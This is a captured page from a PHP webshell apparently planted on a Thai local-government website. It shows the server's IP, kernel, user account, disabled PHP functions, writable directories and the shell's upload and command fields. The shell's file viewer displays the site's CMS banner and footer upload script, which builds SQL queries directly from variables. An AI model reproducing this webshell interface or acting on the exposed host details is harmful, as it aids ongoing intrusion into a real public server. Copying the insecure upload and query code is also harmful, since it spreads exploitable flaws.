403Webshell
Server IP : 119.59.102.212  /  Your IP : 3.141.244.88
Web Server : Apache/2
System : Linux narin 2.6.32-042stab142.1 #1 SMP Tue Jan 28 23:44:17 MSK 2020 x86_64
User : yangkam ( 1022)
PHP Version : 5.6.40
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/yangkam/domains/yangkam.go.th/public_html/coremain/module/manage_header/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/yangkam/domains/yangkam.go.th/public_html/coremain/module/manage_header/manage_header.php
<?php
//import_request_variables('pG', 'p_');
if($p_namemenu!="")								{  $namemenu=trim($p_namemenu);							}
$update_header = 2;
if($p_update_header!="")						{  $update_header=trim($p_update_header);				}

$userfile1_name=trim($_FILES['userfile1']['name']);
$userfile2_name=trim($_FILES['userfile2']['name']);
$userfile3_name=trim($_FILES['userfile3']['name']);
$userfile5_name=trim($_FILES['userfile5']['name']);
$userfile6_name=trim($_FILES['userfile6']['name']);


$navig['manager_header']='เปลี่ยน Banner / พื้นหลัง / Footer';//"เปลี่ยน Flash/พื้นหลัง/Footer";
navigator($navig);
echo"<br>";
//bar_header("เปลี่ยน Banner / พื้นหลัง / Footer"); // Bar_Header
fieldset_top("เปลี่ยน Banner / พื้นหลัง / Footer");

// ###### Flash ########
if($userfile1_name!=""){
  $strings1 = check_file($userfile1_name, 'banner');
  if($strings1 == 'OK'){
    $name1 = create_filename($userfile1_name);
    $dlink = "$_SESSION[web_name]/theme/$_SESSION[themes_]/".$name1;
    delete_filename("cms_main_themes", "flash", $_SESSION['themes_'], "$_SESSION[web_name]/theme/$_SESSION[themes_]/", "id");
    upload_file_to_server($dlink, $_FILES['userfile1'], '', '1000', '0');
    
    $sql = "UPDATE `cms_main_themes` SET `flash` = '$name1'  WHERE id='$_SESSION[themes_]'";
	$result = mysql_query($sql); 
  }else{
    echo "<center><br>ชนิดไฟล์ Banner ไม่ถูกต้อง <br>ไฟล์ต้องมีนามสกุลเป็น .gif หรือ .jpg เท่านั้น<br><br>";
    echo "<a href='javascript:history.back()'><font color='ff0000'>[แก้ไขใหม่]</font></center></a>";
    $update_header = 0;
  }
}

// ################ พื้นหลังส่วนที่ 1 ################
if($userfile5_name!=""){
  $strings1 = check_file($userfile5_name, 'image');
  if($strings1 == 'OK'){
    $name5 = create_filename($userfile5_name);
    $dlink = "$_SESSION[web_name]/theme/$_SESSION[themes_]/$name5";
    delete_filename("cms_main_themes", "herder_top_01", $_SESSION['themes_'], "$_SESSION[web_name]/theme/$_SESSION[themes_]", "id");
    upload_file_to_server($dlink, $_FILES['userfile5']);
    
    $sql = "UPDATE `cms_main_themes` SET `herder_top_01` = '$name5' WHERE id = '$_SESSION[themes_]'";
	$result = mysql_query($sql);
  }else{
    echo "<center><br>ชนิดไฟล์พื้นหลัง  ไม่ถูกต้อง <br>ไฟล์ต้องมีนามสกุลเป็น .gif หรือ .jpg เท่านั้น<br><br>";
	echo "<a href='javascript:history.back()'><font color='ff0000'>[แก้ไขใหม่]</font></center></a>";
    $update_header = 0;
  }
}
// ################ พื้นหลังส่วนที่ 2 ################
if($userfile2_name!=""){
  $strings1 = check_file($userfile2_name, 'image');
  if($strings1 == 'OK'){
    $name2 = create_filename($userfile2_name);
    $dlink = "$_SESSION[web_name]/theme/$_SESSION[themes_]/$name2";
	delete_filename("cms_main_themes", "sub_menu_color", $_SESSION['themes_'], "$_SESSION[web_name]/theme/$_SESSION[themes_]", "id");
    upload_file_to_server($dlink, $_FILES['userfile2']);
    
    $sql = "UPDATE `cms_main_themes` SET `sub_menu_color` = '$name2' WHERE id = '$_SESSION[themes_]'";
	$result = mysql_query($sql);
  }else{
    echo "<center><br>ชนิดไฟล์พื้นหลัง ไม่ถูกต้อง <br>ไฟล์ต้องมีนามสกุลเป็น .gif หรือ .jpg เท่านั้น<br><br>";
	echo "<a href='javascript:history.back()'><font color='ff0000'>[แก้ไขใหม่]</font></center></a>";
    $update_header = 0;
  }
}

// ################ พื้นหลังส่วนที่ 3 ################
if($userfile6_name!=""){
  $strings1 = check_file($userfile6_name, 'image');
  if($strings1 == 'OK'){
    $name6 = create_filename($userfile6_name);
    $dlink = "$_SESSION[web_name]/theme/$_SESSION[themes_]/$name6";
    delete_filename("cms_main_themes", "herder_top_02", $_SESSION['themes_'], "$_SESSION[web_name]/theme/$_SESSION[themes_]", "id");
    upload_file_to_server($dlink, $_FILES['userfile6']);
    
    $sql = "UPDATE `cms_main_themes` SET `herder_top_02` = '$name6' WHERE id = '$_SESSION[themes_]'";
	$result = mysql_query($sql);
  }else{
    echo "<center><br>ชนิดไฟล์พื้นหลัง ไม่ถูกต้อง <br>ไฟล์ต้องมีนามสกุลเป็น .gif หรือ .jpg เท่านั้น<br><br>";
	echo "<a href='javascript:history.back()'><font color='ff0000'>[แก้ไขใหม่]</font></center></a>";
    $update_header = 0;
  }
}
// ################ Footer ################
if($userfile3_name!=""){
  $strings1 = check_file($userfile3_name, 'image');
  if($strings1 == 'OK'){
    $name3 = create_filename($userfile3_name);
    $dlink="$_SESSION[web_name]/theme/$_SESSION[themes_]/$name3";
    delete_filename("cms_main_themes","h_menu_color",$_SESSION['themes_'],"$_SESSION[web_name]/theme/$_SESSION[themes_]","id");
    upload_file_to_server($dlink,$_FILES['userfile3'], '', '100', '100');
    
    $sql="UPDATE `cms_main_themes` SET `h_menu_color` = '$name3' WHERE id='$_SESSION[themes_]'";// and id_type='1'";
    $result=mysql_query($sql);
  }else{
    echo "<center><br>ชนิดไฟล์ Footer ไม่ถูกต้อง <br>ไฟล์ต้องมีนามสกุลเป็น .gif หรือ .jpg เท่านั้น<br><br>";
    echo "<a href='javascript:history.back()'><font color='ff0000'>[แก้ไขใหม่]</font></center></a>";
    $update_header = 0;
  }
}

if($update_header==1){
  msg_update_data(); // ข้อความแก้ไขแล้ว
  refresh_data('index.php?mod=manage_header&path=manage_header',0);	// refresh หน้าจอ
}

$themes = select_query_object("*","cms_main_themes","id",$_SESSION['themes_']);
$_SESSION['flash'] = $themes->flash;
$_SESSION['background2'] = $themes->sub_menu_color;
$_SESSION['footer_bg'] = $themes->h_menu_color;
  
if($update_header == '2'){
      
// ############## Menu จัดการ Flash#################### ?>
<form  action='index.php?mod=manage_header&path=manage_header&update_header=1' method='post' name='add' id='add' enctype='multipart/form-data'>
  <table border='0' cellspacing='0'  align='center' cellpadding='0'>
    <tr>
      <td align="center">
        <font color='ff0000'>ไฟล์ต้องมีนามสกุลเป็น .gif หรือ .jpg เท่านั้น</font><br>ความกว้างมีขนาด = 1000 Pixel<br>ความสูงมีขนาดได้ตามต้องการ
      </td>
    </tr>
    <tr>
      <td>
      <?php
        $flash = explode('.', $_SESSION['flash']);
        if(end($flash) == 'swf'){
      ?>
        <object classid='clsid:D27CDB6E-AE6D-11cf-96B8-444553540000' codebase='http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,29,0' width='500' height='150'>
          <param name='movie' value='<?= "$_SESSION[web_name]/theme/$_SESSION[themes_]/$_SESSION[flash]" ?>'>
          <param name='quality' value='high'>
            <embed src='<?= "$_SESSION[web_name]/theme/$_SESSION[themes_]/$_SESSION[flash]" ?>' quality='high' pluginspage='http://www.macromedia.com/go/getflashplayer' type='application/x-shockwave-flash' width='500' height='150'></embed>
        </object>
      <?php }else{ ?>
        <img src="<?= "$_SESSION[web_name]/theme/$_SESSION[themes_]/$_SESSION[flash]" ?>" width="500" />
      <?php } ?>
      </td>
    </tr>
    <tr height='20'><td></td></tr>
    
    <tr><td><center><img src='coremain/images/arr3.jpg'> ไฟล์ Banner &nbsp;<input name='userfile1' type='file' size='30'><br></center></td></tr>

  <?php
// พื้นหลัง 1
/*
echo" <tr height='20'><td></td></tr>";
echo" <tr><td><center><img src='$_SESSION[web_name]/theme/$_SESSION[themes_]/$_SESSION[background1]'> <br><font color='ff0000'>ขนาดไฟล์ตามความต้องการ</font></center></td></tr>";
echo" <tr height='10'><td></td></tr>";

echo" <tr><td><center><img src='coremain/images/arr3.jpg'> ไฟล์พื้นหลังส่วนหัว &nbsp;<input name='userfile5' type='file' size='30'><br></center></td></tr>";
*/
// พื้นหลัง 2 ?>
    <tr height='20'><td></td></tr>
    <tr><td><center><img src='<?= "$_SESSION[web_name]/theme/$_SESSION[themes_]/$_SESSION[background2]" ?>'> <br><font color='ff0000'>ขนาดไฟล์ตามความต้องการ</font></center></td></tr>
    <tr height='10'><td></td></tr>
    <tr><td><center><img src='coremain/images/arr3.jpg'> ไฟล์พื้นหลัง &nbsp;<input name='userfile2' type='file' size='30'><br></center></td></tr>
  
  <?php
// พื้นหลัง 3
/*
echo" <tr height='20'><td></td></tr>";
echo" <tr><td><center><img src='$_SESSION[web_name]/theme/$_SESSION[themes_]/$_SESSION[background3]'> <br><font color='ff0000'>ขนาดไฟล์ตามความต้องการ</font></center></td></tr>";
echo" <tr height='10'><td></td></tr>";

echo" <tr><td><center><img src='coremain/images/arr3.jpg'> ไฟล์พื้นหลังส่วนท้าย &nbsp;<input name='userfile6' type='file' size='30'><br></center></td></tr>";
*/
// Footer ?>
    <tr height='20'><td></td></tr>
    <tr><td><center><img src='<?= "$_SESSION[web_name]/theme/$_SESSION[themes_]/$_SESSION[footer_bg]" ?>'><br><font color='ff0000'>ขนาดไฟล์ตามความต้องการ</font></center></td></tr>
    <tr height='10'><td></td></tr>
    <tr><td><center><img src='coremain/images/arr3.jpg'> ไฟล์ Footer &nbsp;<input name='userfile3' type='file' size='30'><br></center></td></tr>
  
  <?php 
 button_text('แก้ไขข้อมูล', 'Submit', 2); 
  
  ?>
  
  </table>
</form>

<?php } ?>
<?php fieldset_down(); ?>

Youez - 2016 - github.com/yon3zu
LinuXploit